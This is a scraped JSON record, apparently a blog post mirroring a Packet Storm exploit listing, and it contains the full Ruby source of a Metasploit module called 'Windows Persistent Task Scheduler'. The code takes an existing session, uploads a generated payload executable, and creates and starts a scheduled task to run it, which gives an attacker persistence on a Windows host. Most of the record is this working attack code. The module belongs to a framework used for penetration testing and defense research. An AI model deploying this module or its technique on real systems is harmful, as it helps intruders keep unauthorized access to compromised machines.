{“lastseen”:”2025-10-31T14:09:56″,”description”:”This……………………………………”,”published”:”2025-10-31T00:00:00″,”modified”:”2025-10-31T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Persistent Task Scheduler”,”source”:””,”references”:””,”id”:”PACKETSTORM:211065″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Post::Windows::TaskScheduler\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Persistent Task Scheduler’,\\n ‘Description’ =\\u003e %q{\\n This module establishes persistence by creating a scheduled task to run a payload.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [ ‘h00die’ ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘Privileged’ =\\u003e true,\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’, ‘shell’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/taskschd\/task-scheduler-start-page’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘1998-05-15’, # windows 98 release date which included \\”modern\\” task scheduler\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n OptString.new(‘TASK_NAME’, [false, ‘The name of task. Random string as default.’ ]),\\n ]\\n )\\n \\n # not needed since this is not remote\\n deregister_options(\\n ‘ScheduleRemoteSystem’,\\n ‘ScheduleUsername’,\\n ‘SchedulePassword’,\\n ‘ScheduleObfuscationTechnique’ # prefer NONE so we can start our service\\n )\\n end\\n \\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n \\n d\\n end\\n \\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesn’t exist\\”) unless exists?(writable_dir)\\n \\n begin\\n get_system_privs\\n rescue StandardError\\n return CheckCode::Safe(‘You need higher privileges to create scheduled tasks ‘)\\n end\\n \\n CheckCode::Appears(‘Likely exploitable’)\\n end\\n \\n def upload_payload(dest_pathname)\\n payload_exe = generate_payload_exe\\n fail_with(Failure::UnexpectedReply, \\”Error writing payload to: #{dest_pathname}\\”) unless write_file(dest_pathname, payload_exe)\\n vprint_status(\\”Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo[‘Computer’]} to #{dest_pathname}\\”)\\n end\\n \\n def install_persistence\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n temp_path = writable_dir\\n payload_pathname = temp_path + ‘\\\\\\\\’ + payload_name + ‘.exe’\\n upload_payload(payload_pathname)\\n \\n task_name = datastore[‘TASK_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n vprint_status(\\”Creating task: #{task_name}\\”)\\n begin\\n task_create(task_name, payload_pathname, { obfuscation: ‘NONE’ })\\n rescue TaskSchedulerObfuscationError =\\u003e e\\n print_warning(e.message)\\n print_good(‘Task created without obfuscation’)\\n rescue TaskSchedulerError =\\u003e e\\n fail_with(Failure::UnexpectedReply, \\”Task creation error: #{e}\\”)\\n end\\n \\n vprint_status(\\”Starting task: #{task_name}\\”)\\n task_start(task_name)\\n schtasks_cmd = [‘\/delete’, ‘\/tn’, task_name, ‘\/f’] # taken from task_delete in task_scheduler.rb\\n @clean_up_rc \\u003c\\u003c \\”execute -f cmd.exe -a \\\\\\”\/c #{get_schtasks_cmd_string(schtasks_cmd)}\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_pathname.gsub(‘\\\\\\\\’, ‘\/’)}\\\\n\\”\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211065″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211065\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-31T14:09:56″,”description”:”This……………………………………”,”published”:”2025-10-31T00:00:00″,”modified”:”2025-10-31T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Persistent Task Scheduler”,”source”:””,”references”:””,”id”:”PACKETSTORM:211065″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-24250","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n